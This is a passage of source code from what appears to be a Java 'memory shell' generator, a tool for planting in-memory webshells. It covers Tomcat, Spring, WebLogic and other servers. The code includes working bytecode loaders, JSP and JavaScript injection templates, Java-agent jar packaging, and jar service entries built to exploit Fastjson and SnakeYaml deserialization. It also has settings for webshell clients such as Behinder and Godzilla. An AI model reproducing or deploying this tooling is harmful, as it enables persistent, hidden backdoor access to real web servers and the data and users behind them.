32 | public boolean isImplementsASTTransformationType() {
33 | return implementsASTTransformationType;
34 | }
35 |
36 | public boolean isImplementsScriptEngineFactory() {
37 | return implementsScriptEngineFactory;
38 | }
39 |
40 |
41 | private String injectorSimpleClassName;
42 |
43 | public String getInjectorSimpleClassName() {
44 | return injectorSimpleClassName;
45 | }
46 |
47 | public void setInjectorSimpleClassName(String injectorSimpleClassName) {
48 | this.injectorSimpleClassName = injectorSimpleClassName;
49 | }
50 |
51 |
52 | private byte[] injectorBytes;
53 |
54 | public byte[] getInjectorBytes() {
55 | return injectorBytes;
56 | }
57 |
58 | public void setInjectorBytes(byte[] injectorBytes) {
59 | this.injectorBytes = injectorBytes;
60 | }
61 |
62 |
63 | private int injectorBytesLength;
64 |
65 | public int getInjectorBytesLength() {
66 | return injectorBytesLength;
67 | }
68 |
69 | public void setInjectorBytesLength(int injectorBytesLength) {
70 | this.injectorBytesLength = injectorBytesLength;
71 | }
72 |
73 |
74 |
75 | private String shellClassName;
76 |
77 | public String getShellClassName() {
78 | return shellClassName;
79 | }
80 |
81 | public void setShellClassName(String className) {
82 | this.shellClassName = className;
83 | }
84 |
85 |
86 |
87 | private String shellSimpleClassName;
88 |
89 | public String getShellSimpleClassName() {
90 | return shellSimpleClassName;
91 | }
92 |
93 | public void setShellSimpleClassName(String shellSimpleClassName) {
94 | this.shellSimpleClassName = shellSimpleClassName;
95 | }
96 |
97 | private byte[] shellBytes;
98 |
99 | public byte[] getShellBytes() {
100 | return shellBytes;
101 | }
102 |
103 | public void setShellBytes(byte[] shellBytes) {
104 | this.shellBytes = shellBytes;
105 | }
106 |
107 |
108 | private int shellBytesLength;
109 |
110 |
111 |
112 | public int getShellBytesLength() {
113 | return shellBytesLength;
114 | }
115 |
116 | public void setShellBytesLength(int shellBytesLength) {
117 | this.shellBytesLength = shellBytesLength;
118 | }
119 |
120 |
121 | public String getShellGzipBase64String() {
122 | return shellGzipBase64String;
123 | }
124 |
125 | public void setShellGzipBase64String(String shellGzipBase64String) {
126 | this.shellGzipBase64String = shellGzipBase64String;
127 | }
128 |
129 | public String shellGzipBase64String;
130 |
131 |
132 | public boolean isEnableDebug() {
133 | return enableDebug;
134 | }
135 |
136 | public void setEnableDebug(boolean enableDebug) {
137 | this.enableDebug = enableDebug;
138 | }
139 |
140 | private boolean enableDebug = false;
141 |
142 |
143 |
144 |
145 | private String urlPattern;
146 |
147 | private String outputFormat;
148 | private String savePath;
149 | private String pass;
150 | private String key;
151 | private String serverType;
152 | private String shellType;
153 |
154 | private String headerName;
155 | private String headerValue;
156 |
157 |
158 | private String methodBody;
159 |
160 |
161 | private String gadgetType;
162 |
163 |
164 | public String getUrlPattern() {
165 | return urlPattern;
166 | }
167 |
168 | public void setUrlPattern(String urlPattern) {
169 | this.urlPattern = urlPattern;
170 | }
171 |
172 | public String getOutputFormat() {
173 | return outputFormat;
174 | }
175 |
176 | public void setOutputFormat(String outputFormat) {
177 | this.outputFormat = outputFormat;
178 | }
179 |
180 | public String getSavePath() {
181 | return savePath;
182 | }
183 |
184 | public void setSavePath(String savePath) {
185 | this.savePath = savePath;
186 | }
187 |
188 | public String getPass() {
189 | return pass;
190 | }
191 |
192 | public void setPass(String pass) {
193 | this.pass = pass;
194 | }
195 |
196 | public String getKey() {
197 | return key;
198 | }
199 |
200 | public void setKey(String key) {
201 | this.key = key;
202 | }
203 |
204 | public String getServerType() {
205 | return serverType;
206 | }
207 |
208 | public void setServerType(String serverType) {
209 | this.serverType = serverType;
210 | }
211 |
212 | public String getShellType() {
213 | return shellType;
214 | }
215 |
216 | public void setShellType(String shellType) {
217 | this.shellType = shellType;
218 | }
219 |
220 | public String getToolType() {
221 | return toolType;
222 | }
223 |
224 | public void setToolType(String toolType) {
225 | this.toolType = toolType;
226 | }
227 |
228 | public String toolType;
229 |
230 |
231 | public String getHeaderName() {
232 | return headerName;
233 | }
234 |
235 | public void setHeaderName(String headerName) {
236 | this.headerName = headerName;
237 | }
238 |
239 | public String getHeaderValue() {
240 | return headerValue;
241 | }
242 |
243 | public void setHeaderValue(String headerValue) {
244 | this.headerValue = headerValue;
245 | }
246 |
247 |
248 |
249 | public String getGadgetType() {
250 | return gadgetType;
251 | }
252 |
253 | public void setGadgetType(String gadgetType) {
254 | this.gadgetType = gadgetType;
255 | }
256 |
257 |
258 | public Map getMessage() {
259 | return result;
260 | }
261 |
262 | public void setMessage(Map message) {
263 | this.result = message;
264 | }
265 |
266 | private Map result = new HashMap();
267 |
268 |
269 | public String getExprEncoder() {
270 | return exprEncoder;
271 | }
272 |
273 | public void setExprEncoder(String exprEncoder) {
274 | this.exprEncoder = exprEncoder;
275 | }
276 |
277 | private String exprEncoder;
278 |
279 | public String getExtenderSimpleClassName() {
280 | return extenderSimpleClassName;
281 | }
282 |
283 |
284 | private String extenderSimpleClassName;
285 |
286 | public String getLoaderClassName() {
287 | return loaderClassName;
288 | }
289 |
290 | public void setLoaderClassName(String loaderClassName) {
291 | this.loaderClassName = loaderClassName;
292 | }
293 |
294 | public String loaderClassName;
295 |
296 | private String classFilePath;
297 |
298 | public String getClassFilePath() {
299 | return classFilePath;
300 | }
301 |
302 | public void setClassFilePath(String classFilePath) {
303 | this.classFilePath = classFilePath;
304 | }
305 |
306 |
307 | }
308 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/config/Constants.java:
--------------------------------------------------------------------------------
1 | package jmg.core.config;
2 |
3 | public class Constants {
4 |
5 | public static final String JMG_VERSION = "1.0.8";
6 |
7 | public static final String JMG_NAME = "java-memshell-generator";
8 | public static final String JMG_DESCRIPTION = "Java 内存马生成器";
9 |
10 | public static final String JMG_AUTHOR = "pen4uin";
11 |
12 | public static final String SERVER_TOMCAT = "Tomcat";
13 | public static final String SERVER_SPRING_MVC = "SpringMVC";
14 | public static final String SERVER_SPRING_WEBFLUX = "SpringWebFlux";
15 |
16 | public static final String SERVER_JETTY = "Jetty";
17 | public static final String SERVER_RESIN = "Resin";
18 | public static final String SERVER_WEBLOGIC = "Weblogic";
19 | public static final String SERVER_WEBSPHERE = "Websphere";
20 | public static final String SERVER_UNDERTOW = "Undertow";
21 | public static final String SERVER_GLASSFISH = "Glassfish";
22 |
23 | public static final String SERVER_JBOSS = "JBoss";
24 |
25 |
26 | public static final String SHELL_LISTENER = "Listener";
27 | public static final String SHELL_FILTER = "Filter";
28 | public static final String SHELL_VALVE = "Valve";
29 | public static final String SHELL_INTERCEPTOR = "Interceptor";
30 | public static final String SHELL_WF_HANDLERMETHOD = "WFHandlerMethod";
31 | public static final String SHELL_WS_ENDPOINT = "WSEndpoint";
32 | public static final String FORMAT_CLASS = "CLASS";
33 | public static final String FORMAT_BCEL = "BCEL";
34 | public static final String FORMAT_JSP = "JSP";
35 | public static final String FORMAT_JAR = "JAR";
36 | public static final String FORMAT_JAR_AGENT = "JAR_AGENT";
37 | public static final String FORMAT_JS = "JS";
38 | public static final String FORMAT_BASE64 = "BASE64";
39 | public static final String FORMAT_BIGINTEGER = "BIGINTEGER";
40 |
41 |
42 | public static final String GADGET_FJ_GROOVY = "FastjsonGroovy";
43 |
44 | public static final String GADGET_SNAKEYAML = "SnakeYaml";
45 |
46 | public static final String GADGET_JDK_TRANSLET = "JDK_AbstractTranslet";
47 | public static final String GADGET_XALAN_TRANSLET = "XALAN_AbstractTranslet";
48 |
49 | public static final String TOOL_ANTSWORD = "AntSword";
50 | public static final String TOOL_BEHINDER = "Behinder";
51 | public static final String TOOL_GODZILLA = "Godzilla";
52 |
53 | public static final String TOOL_CUSTOM = "Custom";
54 |
55 | public static final String TOOL_NEOREGEORG = "NeoreGeorg";
56 | public static final String TOOL_SUO5 = "Suo5";
57 |
58 | public static final String EXPR_EL = "EL";
59 | public static final String EXPR_SPEL = "SpEL";
60 | public static final String EXPR_OGNL = "OGNL";
61 | public static final String EXPR_FREEMARKER = "FreeMarker";
62 | public static final String EXPR_VELOCITY = "Velocity";
63 | public static final String EXPR_JS = "ScriptEngineManager(JS)";
64 | }
65 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BASE64Formater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 |
6 | import java.io.IOException;
7 | import java.util.Base64;
8 |
9 | public class BASE64Formater implements IFormater {
10 | @Override
11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
12 | Base64.Encoder base64Encoder = Base64.getEncoder();
13 | return new String(base64Encoder.encode(clazzbyte)).replace("\n", "").replace("\r", "").getBytes();
14 | }
15 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BCELFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import jmg.core.config.AbstractConfig;
4 | import me.gv7.woodpecker.bcel.HackBCELs;
5 |
6 | import java.io.IOException;
7 |
8 | public class BCELFormater implements IFormater {
9 |
10 |
11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
12 | // 解决 BCEL 的classloader 的问题
13 | byte[] bcelClzBytes = BCELoaderGenerator.generatorBCELoaderClass(config);
14 | return HackBCELs.encode(bcelClzBytes).getBytes();
15 | }
16 | }
17 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BCELoader.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import java.lang.reflect.Method;
4 |
5 | public class BCELoader {
6 | static {
7 | new BCELoader();
8 | }
9 |
10 | private String getClassName() {
11 | return "";
12 | }
13 |
14 | private String getBase64String() {
15 | return "";
16 | }
17 |
18 | public BCELoader() {
19 | ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
20 | try {
21 | classLoader.loadClass(getClassName()).newInstance();
22 | } catch (Exception e) {
23 | try {
24 | Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
25 | defineClass.setAccessible(true);
26 | byte[] clazzBytes = decodeFromBase64(getBase64String());
27 | Class clazz = (Class) defineClass.invoke(classLoader, clazzBytes, 0, clazzBytes.length);
28 | clazz.newInstance();
29 | } catch (Exception ee) {
30 | }
31 | }
32 | }
33 |
34 | public static byte[] decodeFromBase64(String input) {
35 | byte[] var2 = null;
36 |
37 | Class var1;
38 | try {
39 | var1 = Class.forName("java.util.Base64");
40 | Object var3 = var1.getMethod("getDecoder").invoke((Object) null, (Object[]) null);
41 | var2 = (byte[]) ((byte[]) var3.getClass().getMethod("decode", String.class).invoke(var3, input));
42 | } catch (Exception var6) {
43 | try {
44 | var1 = Class.forName("sun.misc.BASE64Decoder");
45 | Object var4 = var1.newInstance();
46 | var2 = (byte[]) ((byte[]) var4.getClass().getMethod("decodeBuffer", String.class).invoke(var4, input));
47 | } catch (Exception var5) {
48 | }
49 | }
50 |
51 | return var2;
52 | }
53 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BCELoaderGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.CtMethod;
7 | import jmg.core.config.AbstractConfig;
8 | import jmg.core.util.JavassistUtil;
9 |
10 | public class BCELoaderGenerator {
11 | public static byte[] generatorBCELoaderClass(AbstractConfig config) {
12 | try {
13 | ClassPool pool = ClassPool.getDefault();
14 | ClassClassPath classPath = new ClassClassPath(BCELoader.class);
15 | pool.insertClassPath(classPath);
16 | CtClass ctClass = pool.getCtClass(BCELoader.class.getName());
17 | ctClass.setName(config.getLoaderClassName());
18 | ctClass.getClassFile().setVersionToJava5();
19 | CtMethod getClassName = ctClass.getDeclaredMethod("getClassName");
20 | getClassName.setBody(String.format("{return \"%s\";}", config.getInjectorClassName()));
21 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
22 | String base64ClassString = encodeToBase64(config.getInjectorBytes()).replace(System.lineSeparator(), "");
23 | String[] parts = splitChunks(base64ClassString, 40000);
24 | StringBuilder result = new StringBuilder();
25 | for (int i = 0; i < parts.length; i++) {
26 | if (i > 0) result.append("+");
27 | result.append("new String(\"" + parts[i] + "\")");
28 | }
29 | getBase64String.setBody(String.format("{return %s;}", result));
30 | ctClass.defrost();
31 | JavassistUtil.removeSourceFileAttribute(ctClass);
32 | byte[] bytes = ctClass.toBytecode();
33 | ctClass.detach();
34 | return bytes;
35 | } catch (Exception e) {
36 | e.printStackTrace();
37 | }
38 | return null;
39 | }
40 |
41 | private static String encodeToBase64(byte[] input) throws Exception {
42 | String value = null;
43 | Class base64;
44 | try {
45 | base64 = Class.forName("java.util.Base64");
46 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null);
47 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, input);
48 | } catch (Exception var6) {
49 | try {
50 | base64 = Class.forName("sun.misc.BASE64Encoder");
51 | Object Encoder = base64.newInstance();
52 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, input);
53 | } catch (Exception var5) {
54 | }
55 | }
56 | return value;
57 | }
58 |
59 | private static String[] splitChunks(String source, int CHUNK_SIZE) {
60 | String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
61 | char[] payload = source.toCharArray();
62 | int start = 0;
63 | for (int i = 0; i < ret.length; i++) {
64 | if (start + CHUNK_SIZE > payload.length) {
65 | char[] b = new char[payload.length - start];
66 | System.arraycopy(payload, start, b, 0, payload.length - start);
67 | ret[i] = new String(b);
68 | } else {
69 | char[] b = new char[CHUNK_SIZE];
70 | System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
71 | ret[i] = new String(b);
72 | }
73 | start += CHUNK_SIZE;
74 | }
75 | return ret;
76 | }
77 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/BigIntegerFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 |
6 | import java.io.IOException;
7 | import java.math.BigInteger;
8 |
9 | public class BigIntegerFormater implements IFormater {
10 | @Override
11 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
12 | return new BigInteger(clazzbyte).toString(36).getBytes();
13 | }
14 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/IFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 |
6 | import java.io.IOException;
7 |
8 | public interface IFormater {
9 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception;
10 | }
11 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/JARAgentFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import javassist.ClassPool;
4 | import javassist.CtClass;
5 | import jmg.core.config.AbstractConfig;
6 | import jmg.core.config.Constants;
7 | import jmg.core.template.SpringMVCAgentTransformer;
8 | import jmg.core.template.TomcatAgentTransformer;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.JavassistUtil;
11 |
12 | import java.io.*;
13 | import java.nio.file.Files;
14 | import java.nio.file.Paths;
15 | import java.util.Enumeration;
16 | import java.util.jar.JarEntry;
17 | import java.util.jar.JarFile;
18 | import java.util.jar.JarOutputStream;
19 | import java.util.jar.Manifest;
20 |
21 | public class JARAgentFormater implements IFormater {
22 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws Exception {
23 | String className = TomcatAgentTransformer.class.getName();
24 | String simpleName = TomcatAgentTransformer.class.getSimpleName();
25 | if (config.getServerType().equals(Constants.SERVER_TOMCAT)){
26 | className = TomcatAgentTransformer.class.getName();
27 | simpleName = TomcatAgentTransformer.class.getSimpleName();
28 | }
29 | if (config.getServerType().equals(Constants.SERVER_SPRING_MVC)){
30 | className = SpringMVCAgentTransformer.class.getName();
31 | simpleName = SpringMVCAgentTransformer.class.getSimpleName();
32 | }
33 | String classFileName = simpleName.replace('.', '/') + ".class";
34 | ClassPool pool = ClassPool.getDefault();
35 | // Note: jar 包中的文件不能通过文件路径读取,需要通过流读取
36 | // File jarFile = new File(JARAgentFormater.class.getClassLoader().getResource("jmg-agent.jar").getFile());
37 |
38 | InputStream jarStream = JARAgentFormater.class.getClassLoader().getResourceAsStream("jmg-agent.jar");
39 | File jarFile = File.createTempFile("jmg-agent", ".jar");
40 | try (FileOutputStream out = new FileOutputStream(jarFile)) {
41 | byte[] buffer = new byte[1024];
42 | int bytesRead;
43 | while ((bytesRead = jarStream.read(buffer)) != -1) {
44 | out.write(buffer, 0, bytesRead);
45 | }
46 | }
47 |
48 | Manifest manifest = createManifest(simpleName);
49 | File tempJarFile = File.createTempFile("tempJar", ".jar");
50 |
51 | try (JarFile jar = new JarFile(jarFile);
52 | JarOutputStream tempJar = new JarOutputStream(new FileOutputStream(tempJarFile), manifest)) {
53 |
54 | copyJarEntries(jar, tempJar);
55 |
56 | addModifiedClassToJar(pool, className, simpleName, classFileName, tempJar, config.getPass(),CommonUtil.encodeBase64(clazzbyte));
57 | } catch (Exception e) {
58 | e.printStackTrace();
59 | }
60 |
61 | return Files.readAllBytes(Paths.get(tempJarFile.getAbsolutePath()));
62 | }
63 |
64 | private Manifest createManifest(String simpleName) {
65 | Manifest manifest = new Manifest();
66 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
67 | manifest.getMainAttributes().putValue("Agent-Class", simpleName);
68 | manifest.getMainAttributes().putValue("Can-Redefine-Classes", "true");
69 | manifest.getMainAttributes().putValue("Can-Retransform-Classes", "true");
70 | manifest.getMainAttributes().putValue("Main-Class", simpleName);
71 | return manifest;
72 | }
73 |
74 | private void copyJarEntries(JarFile jar, JarOutputStream tempJar) throws IOException {
75 | Enumeration jarEntries = jar.entries();
76 | while (jarEntries.hasMoreElements()) {
77 | JarEntry entry = jarEntries.nextElement();
78 | try (InputStream entryInputStream = jar.getInputStream(entry)) {
79 | tempJar.putNextEntry(entry);
80 | byte[] buffer = new byte[1024];
81 | int bytesRead;
82 | while ((bytesRead = entryInputStream.read(buffer)) != -1) {
83 | tempJar.write(buffer, 0, bytesRead);
84 | }
85 | }
86 | }
87 | }
88 |
89 | private void addModifiedClassToJar(ClassPool pool, String className, String simpleName, String classFileName, JarOutputStream tempJar,String injectFlag, String injectorCode) throws Exception {
90 | CtClass ctClass = pool.get(className);
91 | ctClass.getClassFile().setVersionToJava5();
92 | ctClass.setName(simpleName);
93 | JavassistUtil.addMethod(ctClass, "getInjectorCode", "return \"" + injectorCode + "\";");
94 | tempJar.putNextEntry(new JarEntry(classFileName));
95 | tempJar.write(ctClass.toBytecode());
96 | ctClass.detach();
97 | }
98 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/JARFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import jmg.core.config.AbstractConfig;
4 |
5 | import java.io.ByteArrayOutputStream;
6 | import java.io.IOException;
7 | import java.nio.charset.StandardCharsets;
8 | import java.util.jar.JarEntry;
9 | import java.util.jar.JarOutputStream;
10 | import java.util.jar.Manifest;
11 |
12 | public class JARFormater implements IFormater {
13 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
14 | String className = config.getInjectorClassName();
15 | String jarEntryFileName = className.replace(".", "/") + ".class";
16 |
17 | Manifest manifest = new Manifest();
18 | manifest.getMainAttributes().putValue("Manifest-Version", "1.0");
19 |
20 | ByteArrayOutputStream out = new ByteArrayOutputStream();
21 | try (JarOutputStream jarOutputStream = new JarOutputStream(out, manifest)) {
22 | jarOutputStream.putNextEntry(new JarEntry(jarEntryFileName));
23 | jarOutputStream.write(clazzbyte);
24 | jarOutputStream.closeEntry();
25 |
26 | // fastjson + groovy 的利用
27 | if (config.isImplementsASTTransformationType()) {
28 | String entryName = "META-INF/services/org.codehaus.groovy.transform.ASTTransformation";
29 | JarEntry entry = new JarEntry(entryName);
30 | jarOutputStream.putNextEntry(entry);
31 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
32 | jarOutputStream.closeEntry();
33 | }
34 |
35 | // snakeyaml + loadJar 的利用
36 | if (config.isImplementsScriptEngineFactory()) {
37 | String entryName = "META-INF/services/javax.script.ScriptEngineFactory";
38 | JarEntry entry = new JarEntry(entryName);
39 | jarOutputStream.putNextEntry(entry);
40 | jarOutputStream.write(className.getBytes(StandardCharsets.UTF_8));
41 | jarOutputStream.closeEntry();
42 | }
43 | }
44 |
45 | return out.toByteArray();
46 | }
47 | }
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/JSPFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import jmg.core.config.AbstractConfig;
4 | import me.gv7.woodpecker.tools.codec.BASE64Encoder;
5 |
6 | import java.io.IOException;
7 |
8 | public class JSPFormater implements IFormater {
9 |
10 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
11 | String strJSP = "<%\n" +
12 | " ClassLoader classLoader = Thread.currentThread().getContextClassLoader();\n" +
13 | " try{\n" +
14 | " classLoader.loadClass(\""+ config.getInjectorClassName()+"\").newInstance();\n" +
15 | " }catch (Exception e){\n" +
16 | " java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod(\"defineClass\", byte[].class, int.class, int.class);\n" +
17 | " defineClass.setAccessible(true);\n" +
18 | " String bytecodeBase64 = \""+new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") +"\";\n" +
19 | " byte[] bytecode = null;\n" +
20 | " try {\n" +
21 | " Class base64Clz = classLoader.loadClass(\"java.util.Base64\");\n" +
22 | " Class decoderClz = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
23 | " Object decoder = base64Clz.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
24 | " bytecode = (byte[]) decoderClz.getMethod(\"decode\", String.class).invoke(decoder, bytecodeBase64);\n" +
25 | " } catch (ClassNotFoundException ee) {\n" +
26 | " Class datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
27 | " bytecode = (byte[]) datatypeConverterClz.getMethod(\"parseBase64Binary\", String.class).invoke(datatypeConverterClz, bytecodeBase64);\n" +
28 | " }\n" +
29 | " Class clazz = (Class)defineClass.invoke(classLoader,bytecode,0,bytecode.length);\n" +
30 | " clazz.newInstance();\n" +
31 | " }\n" +
32 | "%>";
33 | return strJSP.getBytes();
34 | }
35 | }
36 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/format/JavaScriptFormater.java:
--------------------------------------------------------------------------------
1 | package jmg.core.format;
2 |
3 | import jmg.core.config.AbstractConfig;
4 | import me.gv7.woodpecker.tools.codec.BASE64Encoder;
5 |
6 | import java.io.IOException;
7 |
8 | public class JavaScriptFormater implements IFormater {
9 | public byte[] transform(byte[] clazzbyte, AbstractConfig config) throws IOException {
10 | String strJS = "var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
11 | "try{\n" +
12 | " classLoader.loadClass(\""+ config.getInjectorClassName() +"\").newInstance();\n" +
13 | "}catch (e){\n" +
14 | " var clsString = classLoader.loadClass('java.lang.String');\n" +
15 | " var bytecodeBase64 = \""+ new BASE64Encoder().encode(clazzbyte).replace("\n", "").replace("\r", "") + "\";\n" +
16 | " var bytecode;\n" +
17 | " try{\n" +
18 | " var clsBase64 = classLoader.loadClass(\"java.util.Base64\");\n" +
19 | " var clsDecoder = classLoader.loadClass(\"java.util.Base64$Decoder\");\n" +
20 | " var decoder = clsBase64.getMethod(\"getDecoder\").invoke(base64Clz);\n" +
21 | " bytecode = clsDecoder.getMethod(\"decode\", clsString).invoke(decoder, bytecodeBase64);\n" +
22 | " } catch (ee) {\n" +
23 | " var datatypeConverterClz = classLoader.loadClass(\"javax.xml.bind.DatatypeConverter\");\n" +
24 | " bytecode = datatypeConverterClz.getMethod(\"parseBase64Binary\", clsString).invoke(datatypeConverterClz, bytecodeBase64);\n" +
25 | " }\n" +
26 | " var clsClassLoader = classLoader.loadClass('java.lang.ClassLoader');\n" +
27 | " var clsByteArray = classLoader.loadClass('[B');\n" +
28 | " var clsInt = java.lang.Integer.TYPE;\n" +
29 | " var defineClass = clsClassLoader.getDeclaredMethod(\"defineClass\", clsByteArray, clsInt, clsInt);\n" +
30 | " defineClass.setAccessible(true);\n" +
31 | " var clazz = defineClass.invoke(java.lang.Thread.currentThread().getContextClassLoader(),bytecode,0,bytecode.length);\n" +
32 | " clazz.newInstance();\n" +
33 | "}";
34 | return strJS.getBytes();
35 | }
36 | }
37 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/generator/IShellGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.core.generator;
2 |
3 | import javassist.ClassPool;
4 | import jmg.core.config.AbstractConfig;
5 |
6 | public interface IShellGenerator {
7 | ClassPool pool = ClassPool.getDefault();
8 |
9 | void initShell(AbstractConfig config);
10 |
11 | byte[] makeShell(AbstractConfig config) throws Exception;
12 |
13 | byte[] modifyShell(String className, AbstractConfig config);
14 | }
15 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/generator/InjectorGenerator.java:
--------------------------------------------------------------------------------
1 | package jmg.core.generator;
2 |
3 | import javassist.ClassClassPath;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.CtMethod;
7 | import jmg.core.config.AbstractConfig;
8 | import jmg.core.config.Constants;
9 | import jmg.core.util.CommonUtil;
10 | import jmg.core.util.CtClassUtil;
11 | import jmg.core.util.InjectorUtil;
12 | import jmg.core.util.JavassistUtil;
13 |
14 |
15 | /**
16 | * 注入器生成
17 | */
18 | public class InjectorGenerator {
19 | public byte[] makeInjector(AbstractConfig config) throws Exception {
20 | String injectorName = InjectorUtil.getInjectorName(config.getServerType(), config.getShellType());
21 | String injectorClassName = InjectorUtil.getInjectorClassName(injectorName);
22 | byte[] bytes = UtilPlus.generate(injectorClassName, config);
23 | config.setInjectorBytes(bytes);
24 | config.setInjectorBytesLength(bytes.length);
25 | return bytes;
26 | }
27 |
28 |
29 | public static class UtilPlus {
30 | @SuppressWarnings("unchecked")
31 | private final static ClassPool pool = ClassPool.getDefault();
32 |
33 | public static byte[] generate(String injectorTplClassName, AbstractConfig config) throws Exception {
34 | pool.insertClassPath(new ClassClassPath(InjectorGenerator.class));
35 | CtClass ctClass = pool.getCtClass(injectorTplClassName);
36 | ctClass.getClassFile().setVersionToJava5();
37 | String base64ShellString = CommonUtil.encodeBase64(CommonUtil.gzipCompress(config.getShellBytes())).replace(System.lineSeparator(), "");
38 |
39 | String urlPattern = config.getUrlPattern();
40 | String shellClassName = config.getShellClassName();
41 |
42 | if (base64ShellString != null) {
43 | CtMethod getBase64String = ctClass.getDeclaredMethod("getBase64String");
44 | String[] parts = splitChunks(base64ShellString.replace(System.lineSeparator(), ""), 40000);
45 | StringBuilder result = new StringBuilder();
46 | for (int i = 0; i < parts.length; i++) {
47 | if (i > 0)
48 | result.append("+");
49 | result.append("new String(\"" + parts[i] + "\")");
50 | }
51 |
52 | getBase64String.setBody(String.format("{return %s;}", result));
53 | }
54 |
55 | if (config.getShellType().equalsIgnoreCase(Constants.SHELL_FILTER) || config.getShellType().equalsIgnoreCase(Constants.SHELL_WF_HANDLERMETHOD)) {
56 | CtMethod getUrlPattern = ctClass.getDeclaredMethod("getUrlPattern");
57 | getUrlPattern.setBody(String.format("{return \"%s\";}", urlPattern));
58 | }
59 |
60 | if (shellClassName != null) {
61 | CtMethod getUrlPattern = ctClass.getDeclaredMethod("getClassName");
62 | getUrlPattern.setBody(String.format("{return \"%s\";}", shellClassName));
63 | }
64 |
65 | JavassistUtil.setNameIfNotNull(ctClass, config.getInjectorClassName());
66 | JavassistUtil.removeSourceFileAttribute(ctClass);
67 | byte[] bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation();
68 | ctClass.detach();
69 | return bytes;
70 | }
71 |
72 | private static String[] splitChunks(String source, int CHUNK_SIZE) {
73 | String[] ret = new String[(int) Math.ceil(source.length() / (double) CHUNK_SIZE)];
74 | char[] payload = source.toCharArray();
75 | int start = 0;
76 | for (int i = 0; i < ret.length; i++) {
77 | if (start + CHUNK_SIZE > payload.length) {
78 | char[] b = new char[payload.length - start];
79 | System.arraycopy(payload, start, b, 0, payload.length - start);
80 | ret[i] = new String(b);
81 | } else {
82 | char[] b = new char[CHUNK_SIZE];
83 | System.arraycopy(payload, start, b, 0, CHUNK_SIZE);
84 | ret[i] = new String(b);
85 | }
86 | start += CHUNK_SIZE;
87 | }
88 | return ret;
89 | }
90 | }
91 |
92 |
93 | }
94 |
95 |
96 |
--------------------------------------------------------------------------------
/jmg-core/src/main/java/jmg/core/jMGCodeApi.java:
--------------------------------------------------------------------------------
1 | package jmg.core;
2 |
3 |
4 | import jmg.core.config.AbstractConfig;
5 | import jmg.core.config.Constants;
6 | import jmg.core.format.*;
7 |
8 | public class jMGCodeApi {
9 | AbstractConfig config;
10 |
11 | public jMGCodeApi(AbstractConfig config) {
12 | this.config = config;
13 | }
14 |
15 | public byte[] generate() throws Throwable {
16 | byte[] clazzBytes;
17 | clazzBytes = config.getInjectorBytes();
18 | if (clazzBytes == null) {
19 | return null;
20 | }
21 |
22 | // 格式转换
23 | byte[] bytes = null;
24 | switch (config.getOutputFormat()) {
25 | case Constants.FORMAT_BCEL:
26 | bytes = new BCELFormater().transform(clazzBytes, config);
27 | break;
28 | case Constants.FORMAT_JSP:
29 | bytes = new JSPFormater().transform(clazzBytes, config);
30 | break;
31 | case Constants.FORMAT_JAR:
32 | bytes = new JARFormater().transform(clazzBytes, config);
33 | break;
